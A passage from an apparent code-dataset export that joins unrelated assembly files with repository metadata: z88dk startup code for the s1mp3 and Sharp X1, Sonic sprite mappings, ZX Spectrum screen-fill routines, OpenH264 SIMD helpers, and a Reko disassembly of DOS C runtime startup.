KEY_M equ 0x32
KEY_N equ 0x31
KEY_O equ 0x18
KEY_P equ 0x19
KEY_Q equ 0x10
KEY_R equ 0x13
KEY_S equ 0x1F
KEY_T equ 0x14
KEY_U equ 0x16
KEY_V equ 0x2F
KEY_W equ 0x11
KEY_X equ 0x2D
KEY_Y equ 0x15
KEY_Z equ 0x2C
KEY_1 equ 0x02
KEY_2 equ 0x03
KEY_3 equ 0x04
KEY_4 equ 0x05
KEY_5 equ 0x06
KEY_6 equ 0x07
KEY_7 equ 0x08
KEY_8 equ 0x09
KEY_9 equ 0x0A
KEY_0 equ 0x0B
KEY_MINUS equ 0x0C
KEY_EQUAL equ 0x0D
KEY_SQBRKT_OP equ 0x1A
KEY_SQBRKT_CL equ 0x1B
KEY_SEMICOLON equ 0x27
KEY_APOSTROPH equ 0x28
KEY_GRAVIS equ 0x29
KEY_BACKSLASH equ 0x2B
KEY_COMMA equ 0x33
KEY_DOT equ 0x34
KEY_SLASH equ 0x35
KEY_F1 equ 0x3B
KEY_F2 equ 0x3C
KEY_F3 equ 0x3D
KEY_F4 equ 0x3E
KEY_F5 equ 0x3F
KEY_F6 equ 0x40
KEY_F7 equ 0x41
KEY_F8 equ 0x42
KEY_F9 equ 0x43
KEY_F10 equ 0x44
KEY_F11 equ 0x85
KEY_F12 equ 0x86
KEY_BKSP equ 0x0E
KEY_DEL equ 0x53
KEY_DOWN_ARR equ 0x50
KEY_END equ 0x4F
KEY_ENTER equ 0x1C
KEY_ESC equ 0x01
KEY_HOME equ 0x47
KEY_INS equ 0x52
KEY_KPD_5 equ 0x4C
KEY_KPD_MUL equ 0x37
KEY_KPD_MINUS equ 0x4A
KEY_KPD_PLUS equ 0x4E
KEY_KPD_SLASH equ 0x35
KEY_LEFT_ARR equ 0x4B
KEY_PGDN equ 0x51
KEY_PGUP equ 0x49
KEY_RIGHT_ARR equ 0x4D
KEY_SPACE equ 0x39
KEY_TAB equ 0x0F
KEY_UP_ARR equ 0x48
| 21.44382
| 64
| 0.639507
|
23a44d1125d5eb3c08c1dbb8671bef0f71a58b78
| 2,757
|
asm
|
Assembly
|
lib/target/s1mp3/classic/s1mp3_crt0.asm
|
dikdom/z88dk
|
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
|
[
"ClArtistic"
] | 1
|
2022-03-08T11:55:58.000Z
|
2022-03-08T11:55:58.000Z
|
lib/target/s1mp3/classic/s1mp3_crt0.asm
|
dikdom/z88dk
|
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
|
[
"ClArtistic"
] | 2
|
2022-03-20T22:17:35.000Z
|
2022-03-24T16:10:00.000Z
|
lib/target/s1mp3/classic/s1mp3_crt0.asm
|
jorgegv/z88dk
|
127130cf11f9ff268ba53e308138b12d2b9be90a
|
[
"ClArtistic"
] | null | null | null |
;
; Startup for the s1mp3 players
;
GLOBAL _main
; defc CRT_ORG_BSS = 0x7000
defc CRT_ORG_CODE = 0x0000
defc TAR__clib_exit_stack_size = 0
defc TAR__register_sp = 0x4000
defc CONSOLE_COLUMNS = 16
defc CONSOLE_ROWS = 4
INCLUDE "zcc_opt.def"
INCLUDE "crt/classic/crt_rules.inc"
org CRT_ORG_CODE
header:
DEFW 0x0050 ; header id
DEFW 0x4757 ;
DEFW 0x9719 ;
DEFW 0x0003 ;
DEFW 0x0600 ; text fileoffset (lo)
DEFW 0 ; text fileoffset (hi)
DEFW 0 ; Entry point (will be fixed by conv.exe)
DEFW Application_Start ; text address
DEFW 0 ; data fileoffset (lo)
DEFW 0 ; data fileoffset (hi)
DEFW 0 ; data length
DEFW 0 ; data address
DEFW 0 ; bss length
DEFW 0 ; bss address
DEFW program ; entry point
DEFB 0 ; entry bank
DEFB 0 ; number of banks
; Interrupt vectors are here to improve emulator compatibility
defs $0020-ASMPC
if (ASMPC<>$0020)
defs CODE_ALIGNMENT_ERROR
endif
jp restart20
defs $0028-ASMPC
if (ASMPC<>$0028)
defs CODE_ALIGNMENT_ERROR
endif
jp restart28
defs $0030-ASMPC
if (ASMPC<>$0030)
defs CODE_ALIGNMENT_ERROR
endif
jp restart30
defs $0038-ASMPC
if (ASMPC<>$0038)
defs CODE_ALIGNMENT_ERROR
endif
reti
restart08:
restart10:
restart18:
restart20:
restart28:
restart30:
ret
defs $0600-ASMPC
if (ASMPC<>$0600)
defs CODE_ALIGNMENT_ERROR
endif
Application_Start:
program:
di
xor a
out (0x27), a ; MINT_ENABLE_REG
INCLUDE "crt/classic/crt_init_sp.asm"
INCLUDE "crt/classic/crt_init_atexit.asm"
call crt0_init_bss
ld (exitsp),sp
; Optional definition for auto MALLOC init
; it assumes we have free space between the end of
; the compiled program and the stack pointer
IF DEFINED_USING_amalloc
INCLUDE "crt/classic/crt_init_amalloc.asm"
ENDIF
call _main
cleanup:
di
halt
jp cleanup
l_dcal: jp (hl) ;Used for function pointer calls
INCLUDE "crt/classic/crt_runtime_selection.asm"
INCLUDE "crt/classic/crt_section.asm"
| 25.293578
| 85
| 0.518317
|
7c29739e2331dbb3c2ca683529e95ff4f0de57c7
| 705
|
asm
|
Assembly
|
_maps/obj88.asm
|
NatsumiFox/AMPS-Sonic-1-2005
|
ac8730799f1b96291358c77a4b64529de94ce8a4
|
[
"Apache-2.0"
] | 2
|
2020-04-09T19:36:35.000Z
|
2021-01-05T14:20:17.000Z
|
_maps/obj88.asm
|
NatsumiFox/AMPS-Sonic-1-2005
|
ac8730799f1b96291358c77a4b64529de94ce8a4
|
[
"Apache-2.0"
] | null | null | null |
_maps/obj88.asm
|
NatsumiFox/AMPS-Sonic-1-2005
|
ac8730799f1b96291358c77a4b64529de94ce8a4
|
[
"Apache-2.0"
] | 1
|
2020-06-17T14:16:35.000Z
|
2020-06-17T14:16:35.000Z
|
; ---------------------------------------------------------------------------
; Sprite mappings - chaos emeralds on the ending sequence
; ---------------------------------------------------------------------------
dc.w byte_5788-Map_obj88, byte_578E-Map_obj88
dc.w byte_5794-Map_obj88, byte_579A-Map_obj88
dc.w byte_57A0-Map_obj88, byte_57A6-Map_obj88
dc.w byte_57AC-Map_obj88
byte_5788: dc.b 1
dc.b $F8, 5, 0, 0, $F8
byte_578E: dc.b 1
dc.b $F8, 5, 0, 4, $F8
byte_5794: dc.b 1
dc.b $F8, 5, $40, $10, $F8
byte_579A: dc.b 1
dc.b $F8, 5, $20, $18, $F8
byte_57A0: dc.b 1
dc.b $F8, 5, $40, $14, $F8
byte_57A6: dc.b 1
dc.b $F8, 5, 0, 8, $F8
byte_57AC: dc.b 1
dc.b $F8, 5, 0, $C, $F8
even
| 32.045455
| 77
| 0.503546
|
a9c0c2c034e1adc98063f1cf36d91cf48f400eb4
| 4,941
|
asm
|
Assembly
|
lib/x1_crt0.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
lib/x1_crt0.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
lib/x1_crt0.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; CRT0 for the Sharp X1
;
; Karl Von Dyson (for X1s.org)
;
; $Id: x1_crt0.asm,v 1.7 2015/01/21 07:05:01 stefano Exp $
;
MODULE x1_crt0
;
; Initially include the zcc_opt.def file to find out lots of lovely
; information about what we should do..
;
INCLUDE "zcc_opt.def"
;--------
; Some scope definitions
;--------
EXTERN _main
EXTERN _x1_printf
PUBLIC cleanup
PUBLIC l_dcal
PUBLIC _std_seed
PUBLIC _vfprintf
PUBLIC exitsp
PUBLIC exitcount
PUBLIC heaplast
PUBLIC heapblocks
PUBLIC __sgoioblk
; X1 stdio support variables
PUBLIC _x1_cursor_coords
PUBLIC _x1_keyboard_io
; X1 stdio support entry functions
PUBLIC _wait_sub_cpu
;--------
; Non-zero origins must be >=32768 (startup=2 must be used for this)
;--------
IF !myzorg
IF (startup=2)
defc myzorg = 32768
ELSE
defc myzorg = 0
ENDIF
ENDIF
org myzorg
;--------
; Execution starts here
;--------
start:
di
IF (!DEFINED_startup | (startup=1))
if (myzorg > 0)
defs ZORG_NOT_ZERO
endif
ld sp,$FFFF
im 1
ei
ENDIF
IF (startup=2)
if (myzorg < 32768)
defs ZORG_TOO_LOW
endif
ld sp,$FDFF
; re-activate IPL
ld bc,$1D00
xor a
out (c),a
ld hl,$FE00
push hl
EXTERN im2_Init
call im2_Init
pop hl
EXTERN im2_EmptyISR
ld hl,im2_EmptyISR
ld b,128
isr_table_fill:
ld ($FE00),hl
inc hl
inc hl
djnz isr_table_fill
ld hl,_kbd_isr
ld ($FE52),hl
im 2
ei
ENDIF
call _wait_sub_cpu
ld bc, $1900
ld a, $E4 ; Interrupt vector set
out (c), a
call _wait_sub_cpu
ld bc, $1900
ld a, $52 ;
out (c), a
;IF !DEFINED_x1_no_clrscr
; EXTERN _x1_cls
; call _x1_cls
;ENDIF
IF !DEFINED_nostreams
IF DEFINED_ANSIstdio
; Set up the std* stuff so we can be called again
ld hl,__sgoioblk+2
ld (hl),19 ;stdin
ld hl,__sgoioblk+6
ld (hl),21 ;stdout
ld hl,__sgoioblk+10
ld (hl),21 ;stderr
ENDIF
ENDIF
; INIT math identify platform
IF NEED_floatpack
EXTERN init_floatpack
call init_floatpack
ENDIF
; Optional definition for auto MALLOC init
; it assumes we have free space between the end of
; the compiled program and the stack pointer
IF DEFINED_USING_amalloc
ld hl,0
add hl,sp
INCLUDE "amalloc.def"
ENDIF
call _main
cleanup:
IF !DEFINED_nostreams
IF DEFINED_ANSIstdio
EXTERN closeall
call closeall
ENDIF
ENDIF
push hl ; return code
rst 0
cleanup_exit:
ret
IF (!DEFINED_startup | (startup=1))
defs 56-cleanup_exit-1
if (ASMPC<>$0038)
defs CODE_ALIGNMENT_ERROR
endif
ENDIF
; -------------------------------------------
; Don't move the following block !
; It must be aligned when startup=1 !!
_kbd_isr:
push af
push bc
;push de
push hl
ld bc, $1A01
.iiki1 in a, (c)
and $20
jr nz, iiki1
ld bc, $1900
in a, (c)
ld hl, _x1_keyboard_io+1
ld (hl), a
dec hl
ld bc, $1A01
.iiki2 in a, (c)
and $20
jr nz, iiki2
ld bc, $1900
in a, (c)
ld (hl), a
pop hl
;pop de
pop bc
pop af
ei
reti
; -------------------------------------------
l_dcal:
jp (hl)
; Now, define some values for stdin, stdout, stderr
__sgoioblk:
IF DEFINED_ANSIstdio
INCLUDE "stdio_fp.asm"
ELSE
defw -11,-12,-10
ENDIF
; Now, which of the vfprintf routines do we need?
_vfprintf:
IF DEFINED_floatstdio
EXTERN vfprintf_fp
jp vfprintf_fp
ELSE
IF DEFINED_complexstdio
EXTERN vfprintf_comp
jp vfprintf_comp
ELSE
IF DEFINED_ministdio
EXTERN vfprintf_mini
jp vfprintf_mini
ENDIF
ENDIF
ENDIF
;Seed for integer rand() routines
IF !DEFINED_HAVESEED
PUBLIC _std_seed ; Integer rand() seed
_std_seed: defw 0 ; Seed for integer rand() routines
ENDIF
exitsp: defw $FDFF
exitcount: defb 0
; Heap stuff
heaplast: defw 0
heapblocks:defw 0
; X1 stdio support variables
_x1_cursor_coords:
defw 0
_x1_keyboard_io:
defw 0
_wait_sub_cpu:
ld bc, $1A01
.ii_w1 in a, (c)
bit 6, a
jp nz, ii_w1
ret
IF DEFINED_USING_amalloc
EXTERN ASMTAIL
PUBLIC _heap
; The heap pointer will be wiped at startup,
; but first its value (based on ASMTAIL)
; will be kept for sbrk() to setup the malloc area
_heap:
defw ASMTAIL ; Location of the last program byte
defw 0
ENDIF
IF NEED_floatpack
INCLUDE "float.asm"
;seed for random number generator - not used yet..
fp_seed: defb $80,$80,0,0,0,0
;Floating point registers...
extra: defs 6
fa: defs 6
fasign: defb 0
ENDIF
| 16.415282
| 75
| 0.59239
|
f63528c0809bf850234524e6cdf41d67805df4b5
| 107
|
asm
|
Assembly
|
utility/Math.asm
|
puzzud/puzl6502
|
c38fa015d0d25f2c29f79fa41de10f8cc8c39693
|
[
"MIT"
] | null | null | null |
utility/Math.asm
|
puzzud/puzl6502
|
c38fa015d0d25f2c29f79fa41de10f8cc8c39693
|
[
"MIT"
] | null | null | null |
utility/Math.asm
|
puzzud/puzl6502
|
c38fa015d0d25f2c29f79fa41de10f8cc8c39693
|
[
"MIT"
] | null | null | null |
;------------------------------------------------------------------
!src "puzl/utility/BuntenUtils.asm"
| 26.75
| 67
| 0.261682
|
2e3867ccbacbcc5c75fb07291f3e50a71a9a0306
| 5,885
|
asm
|
Assembly
|
transformy/tables/gen/001c.asm
|
mborik/regression
|
25b5f2204ce668594449e8ce804779288b895ac0
|
[
"MIT"
] | 3
|
2019-09-18T05:34:22.000Z
|
2020-12-04T17:46:52.000Z
|
transformy/tables/gen/001c.asm
|
mborik/regression
|
25b5f2204ce668594449e8ce804779288b895ac0
|
[
"MIT"
] | null | null | null |
transformy/tables/gen/001c.asm
|
mborik/regression
|
25b5f2204ce668594449e8ce804779288b895ac0
|
[
"MIT"
] | 1
|
2020-01-17T01:04:24.000Z
|
2020-01-17T01:04:24.000Z
|
xor a
ld hl, basescradr + #082d
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #082e
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #08ee
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0b2f
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0bb6
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0d0d
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #100e
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #104f
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #112f
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #0ece), a
ld (basescradr + #0ed5), a
ld (basescradr + #0f30), a
ld (basescradr + #0fce), a
ld (basescradr + #0fd5), a
ld a, 15
ld (basescradr + #0a2c), a
ld (basescradr + #0c6d), a
ld (basescradr + #0d6d), a
ld (basescradr + #0dae), a
ld (basescradr + #0eae), a
ld (basescradr + #100f), a
ld (basescradr + #110f), a
ld a, 7
ld hl, basescradr + #120f
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #08ce), a
ld (basescradr + #0b2c), a
ld (basescradr + #0c2c), a
ld (basescradr + #0e6d), a
ld (basescradr + #0f6d), a
ld (basescradr + #0fae), a
ld a, 240
ld hl, basescradr + #0b96
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #08d5), a
ld (basescradr + #0951), a
ld (basescradr + #09d5), a
ld (basescradr + #0b2d), a
ld (basescradr + #1332), a
ld (basescradr + #1413), a
ld a, 255
ld hl, basescradr + #084d
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0873
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0874
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0a51
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0a75
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0c2d
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0c52
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1331
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #1512
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #0895), a
ld (basescradr + #0995), a
ld (basescradr + #0e53), a
ld (basescradr + #0f53), a
ld (basescradr + #0ff3), a
ld (basescradr + #1013), a
ld a, 192
ld (basescradr + #0875), a
ld (basescradr + #08b6), a
ld (basescradr + #0bd5), a
ld (basescradr + #0c2e), a
ld (basescradr + #0e2f), a
ld (basescradr + #1051), a
ld (basescradr + #1613), a
ld a, 3
ld hl, basescradr + #09ce
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld hl, basescradr + #0d2c
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #088d), a
ld (basescradr + #098d), a
ld (basescradr + #150f), a
ld (basescradr + #160f), a
ld a, 252
ld hl, basescradr + #0d76
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #0896), a
ld (basescradr + #08f4), a
ld (basescradr + #0d2e), a
ld (basescradr + #0eb5), a
ld (basescradr + #1132), a
ld (basescradr + #1213), a
ld (basescradr + #1731), a
ld a, 254
ld (basescradr + #0975), a
ld (basescradr + #0cb5), a
ld (basescradr + #0db5), a
ld (basescradr + #0f2f), a
ld (basescradr + #0fd4), a
ld (basescradr + #1032), a
ld (basescradr + #1113), a
ld a, 1
ld hl, basescradr + #084c
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #0cce), a
ld (basescradr + #0dce), a
ld (basescradr + #102f), a
ld (basescradr + #170f), a
ld a, 248
ld (basescradr + #0996), a
ld (basescradr + #0a96), a
ld (basescradr + #0b52), a
ld (basescradr + #0b76), a
ld (basescradr + #0c76), a
ld (basescradr + #0d53), a
ld (basescradr + #0f54), a
ld (basescradr + #0fb5), a
ld (basescradr + #1232), a
ld (basescradr + #1313), a
ld a, 127
ld hl, basescradr + #0d4d
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #09ef), a
ld (basescradr + #0aef), a
ld (basescradr + #0f8e), a
ld (basescradr + #1430), a
ld (basescradr + #1530), a
inc a
ld (basescradr + #09b6), a
ld (basescradr + #0ab6), a
ld (basescradr + #0cd5), a
ld (basescradr + #0dd5), a
ld (basescradr + #0e54), a
ld (basescradr + #0ff4), a
ld (basescradr + #1532), a
ld (basescradr + #1713), a
ld a, 63
ld hl, basescradr + #0bef
ld (hl), a
inc h
ld (hl), a
inc h
ld (hl), a
ld (basescradr + #086d), a
ld (basescradr + #096d), a
ld (basescradr + #09ae), a
ld (basescradr + #0aae), a
ld (basescradr + #1050), a
ld (basescradr + #1630), a
ld (basescradr + #1730), a
ld a, 31
ld (basescradr + #0a6d), a
ld (basescradr + #0b6d), a
ld (basescradr + #0bae), a
ld (basescradr + #0cae), a
ld (basescradr + #0eef), a
ld (basescradr + #0fef), a
ld (basescradr + #1150), a
ld a, 224
ld (basescradr + #0a76), a
ld (basescradr + #0ad5), a
ld (basescradr + #0e96), a
ld (basescradr + #0f96), a
ld (basescradr + #1432), a
ld (basescradr + #1513), a
ret
| 17.725904
| 28
| 0.53322
|
4ead77105d5bba59e0324123cb1ce584df5863c7
| 5,141
|
asm
|
Assembly
|
codec/encoder/core/asm/intra_pred_util.asm
|
TechSmith/openh264
|
5d616714c4cdd30287e2c6a8aa485c2fc6c68b84
|
[
"BSD-2-Clause"
] | 1
|
2016-12-06T07:56:36.000Z
|
2016-12-06T07:56:36.000Z
|
codec/encoder/core/asm/intra_pred_util.asm
|
3990995/openh264
|
f2aa3c75ae8a3d41ef85be739752d3f189c7eea3
|
[
"BSD-2-Clause"
] | null | null | null |
codec/encoder/core/asm/intra_pred_util.asm
|
3990995/openh264
|
f2aa3c75ae8a3d41ef85be739752d3f189c7eea3
|
[
"BSD-2-Clause"
] | null | null | null |
;*!
;* \copy
;* Copyright (c) 2009-2013, Cisco Systems
;* All rights reserved.
;*
;* Redistribution and use in source and binary forms, with or without
;* modification, are permitted provided that the following conditions
;* are met:
;*
;* * Redistributions of source code must retain the above copyright
;* notice, this list of conditions and the following disclaimer.
;*
;* * Redistributions in binary form must reproduce the above copyright
;* notice, this list of conditions and the following disclaimer in
;* the documentation and/or other materials provided with the
;* distribution.
;*
;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
;* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
;* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
;* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
;* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
;* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
;* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
;* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
;* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
;* POSSIBILITY OF SUCH DAMAGE.
;*
;*
;* intra_pred_util.asm
;*
;* Abstract
;* mmxext/sse for WelsFillingPred8to16, WelsFillingPred8x2to16 and
;* WelsFillingPred1to16 etc.
;*
;* History
;* 09/29/2009 Created
;*
;*
;*************************************************************************/
%include "asm_inc.asm"
BITS 32
;***********************************************************************
; Macros and other preprocessor constants
;***********************************************************************
;***********************************************************************
; Local Data (Read Only)
;***********************************************************************
;SECTION .rodata pData align=16
;***********************************************************************
; Various memory constants (trigonometric values or rounding values)
;***********************************************************************
;***********************************************************************
; Code
;***********************************************************************
SECTION .text
WELS_EXTERN WelsFillingPred8to16_mmx
WELS_EXTERN WelsFillingPred8x2to16_mmx
WELS_EXTERN WelsFillingPred1to16_mmx
WELS_EXTERN WelsFillingPred8x2to16_sse2
WELS_EXTERN WelsFillingPred1to16_sse2
ALIGN 16
;***********************************************************************----------------
; void WelsFillingPred8to16_mmx( uint8_t *pred, uint8_t *v );
;***********************************************************************----------------
WelsFillingPred8to16_mmx:
mov eax, [esp+4] ; pred
mov ecx, [esp+8] ; v
movq mm0, [ecx]
movq [eax ], mm0
movq [eax+8], mm0
WELSEMMS
ret
ALIGN 16
;***********************************************************************----------------
; void WelsFillingPred8x2to16_mmx( uint8_t *pred, uint8_t *v );
;***********************************************************************----------------
WelsFillingPred8x2to16_mmx:
mov eax, [esp+4] ; pred
mov ecx, [esp+8] ; v
movq mm0, [ecx ]
movq mm1, [ecx+8]
movq [eax ], mm0
movq [eax+8], mm1
WELSEMMS
ret
%macro butterfly_1to8_mmx 3 ; mm? for dst, mm? for tmp, one byte for pSrc [generic register name: a/b/c/d]
mov %3h, %3l
movd %2, e%3x ; i.e, 1% = eax (=b0)
pshufw %1, %2, 00h ; b0 b0 b0 b0, b0 b0 b0 b0
%endmacro
ALIGN 16
;***********************************************************************----------------
; void WelsFillingPred1to16_mmx( uint8_t *pred, const uint8_t v );
;***********************************************************************----------------
WelsFillingPred1to16_mmx:
mov eax, [esp+4] ; pred
mov cl, byte [esp+8] ; v
butterfly_1to8_mmx mm0, mm1, c ; mm? for dst, mm? for tmp, one byte for pSrc [generic register name: a/b/c/d]
movq [eax ], mm0
movq [eax+8], mm0
WELSEMMS
ret
ALIGN 16
;***********************************************************************----------------
; void WelsFillingPred8x2to16_sse2( uint8_t *pred, uint8_t *v );
;***********************************************************************----------------
WelsFillingPred8x2to16_sse2:
mov eax, [esp+4] ; pred
mov ecx, [esp+8] ; v
movdqa xmm0, [ecx]
movdqa [eax], xmm0
ret
ALIGN 16
;***********************************************************************----------------
; void WelsFillingPred1to16_sse2( uint8_t *pred, const uint8_t v );
;***********************************************************************----------------
WelsFillingPred1to16_sse2:
mov eax, [esp+4] ; pred
mov cl, byte [esp+8] ; v
butterfly_1to16_sse xmm0, xmm1, c ; dst, tmp, pSrc [generic register name: a/b/c/d]
movdqa [eax], xmm0
ret
| 32.745223
| 110
| 0.492317
|
1228b3d83e983b56049978bc5810ba2255ba87fc
| 136,092
|
asm
|
Assembly
|
ZORTON.reko/ZORTON_0800.asm
|
0xLiso/dePIXELator
|
d74a663e5cb41a404f2b714e262ce44b668d3632
|
[
"MIT"
] | null | null | null |
ZORTON.reko/ZORTON_0800.asm
|
0xLiso/dePIXELator
|
d74a663e5cb41a404f2b714e262ce44b668d3632
|
[
"MIT"
] | null | null | null |
ZORTON.reko/ZORTON_0800.asm
|
0xLiso/dePIXELator
|
d74a663e5cb41a404f2b714e262ce44b668d3632
|
[
"MIT"
] | 1
|
2021-03-10T22:29:06.000Z
|
2021-03-10T22:29:06.000Z
|
;;; Segment 0800 (0800:0000)
0800:0000 BA BA 28 2E 89 16 91 02 B4 30 CD 21 8B 2E 02 00 ..(......0.!....
0800:0010 8B 1E 2C 00 8E DA A3 7D 00 8C 06 7B 00 89 1E 77 ..,....}...{...w
0800:0020 00 89 2E 91 00 E8 55 01 A1 77 00 8E C0 33 C0 8B ......U..w...3..
0800:0030 D8 8B F8 B9 FF 7F FC F2 AE E3 43 43 26 38 05 75 ..........CC&8.u
0800:0040 F6 80 CD 80 F7 D9 89 0E 75 00 B9 02 00 D3 E3 83 ........u.......
0800:0050 C3 10 83 E3 F0 89 1E 79 00 8C D2 2B EA BF BA 28 .......y...+...(
0800:0060 8E C7 26 8B 3E B4 8E 81 FF 00 02 73 08 BF 00 02 ..&.>......s....
0800:0070 26 89 3E B4 8E B1 04 D3 EF 47 3B EF 73 03 E9 F9 &.>......G;.s...
0800:0080 01 8B DF 03 DA 89 1E 89 00 89 1E 8D 00 A1 7B 00 ..............{.
0800:0090 2B D8 8E C0 B4 4A 57 CD 21 5F D3 E7 FA 8E D2 8B +....JW.!_......
0800:00A0 E7 FB B8 BA 28 8E C0 26 89 3E B4 8E 33 C0 2E 8E ....(..&.>..3...
0800:00B0 06 91 02 BF DA 9B B9 5A AB 2B CF FC F3 AA 83 3E .......Z.+.....>
0800:00C0 80 99 14 76 47 80 3E 7D 00 03 72 40 77 07 80 3E ...vG.>}..r@w..>
0800:00D0 7E 00 1E 72 37 B8 01 58 BB 02 00 CD 21 72 2A B4 ~..r7..X....!r*.
0800:00E0 67 8B 1E 80 99 CD 21 72 20 B4 48 BB 01 00 CD 21 g.....!r .H....!
0800:00F0 72 17 40 A3 91 00 48 8E C0 B4 49 CD 21 72 0A B8 r.@...H...I.!r..
0800:0100 01 58 BB 00 00 CD 21 73 03 E9 6E 01 B4 00 CD 1A .X....!s..n.....
0800:0110 89 16 81 00 89 0E 83 00 0A C0 74 0C B8 40 00 8E ..........t..@..
0800:0120 C0 BB 70 00 26 C6 07 01 33 ED 2E 8E 06 91 02 BE ..p.&...3.......
0800:0130 B6 9B BF DA 9B E8 B5 00 FF 36 73 00 FF 36 71 00 .........6s..6q.
0800:0140 FF 36 6F 00 FF 36 6D 00 FF 36 6B 00 9A F9 00 8D .6o..6m..6k.....
0800:0150 26 50 90 0E E8 62 02 &P...b.
;; fn0800_0157: 0800:0157
;; Called from:
;; 0800:0387 (in fn0800_0362)
fn0800_0157 proc
mov es,cs:[0291h]
push si
push di
mov si,9BDAh
mov di,9BDAh
call 0231h
pop di
pop si
retf
;; fn0800_016A: 0800:016A
;; Called from:
;; 0800:0395 (in fn0800_0362)
fn0800_016A proc
retf
;; fn0800_016B: 0800:016B
;; Called from:
;; 0800:03AF (in fn0800_0362)
fn0800_016B proc
mov bp,sp
mov ah,4Ch
mov al,[bp+4h]
int 21h
0800:0174 B9 0E 00 BA 2F 00 E9 03 01 1E B8 00 ..../.......
0800:0180 35 CD 21 89 1E 5B 00 8C 06 5D 00 B8 04 35 CD 21 5.!..[...]...5.!
0800:0190 89 1E 5F 00 8C 06 61 00 B8 05 35 CD 21 89 1E 63 .._...a...5.!..c
0800:01A0 00 8C 06 65 00 B8 06 35 CD 21 89 1E 67 00 8C 06 ...e...5.!..g...
0800:01B0 69 00 B8 00 25 8C CA 8E DA BA 74 01 CD 21 1F C3 i...%.....t..!..
;; fn0800_01C0: 0800:01C0
;; Called from:
;; 0800:0390 (in fn0800_0362)
fn0800_01C0 proc
push ds
mov ax,2500h
lds dx,[005Bh]
int 21h
pop ds
push ds
mov ax,2504h
lds dx,[005Fh]
int 21h
pop ds
push ds
mov ax,2505h
lds dx,[0063h]
int 21h
pop ds
push ds
mov ax,2506h
lds dx,[0067h]
int 21h
pop ds
retf
0800:01ED B8 00 01 ...
0800:01F0 8B D7 8B DE 3B DF 74 19 26 80 3F FF 74 0E 26 8A ....;.t.&.?.t.&.
0800:0200 4F 01 32 ED 3B C8 73 04 8B C1 8B D3 83 C3 06 EB O.2.;.s.........
0800:0210 E3 3B D7 74 1B 8B DA 26 80 3F 00 26 C6 07 FF 06 .;.t...&.?.&....
0800:0220 74 07 26 FF 5F 02 07 EB C4 26 FF 57 02 07 EB BD t.&._....&.W....
0800:0230 C3 .
;; fn0800_0231: 0800:0231
;; Called from:
;; 0800:0164 (in fn0800_0157)
fn0800_0231 proc
mov ah,0h
mov dx,di
mov bx,si
l0800_0237:
cmp bx,di
jz 0252h
l0800_023B:
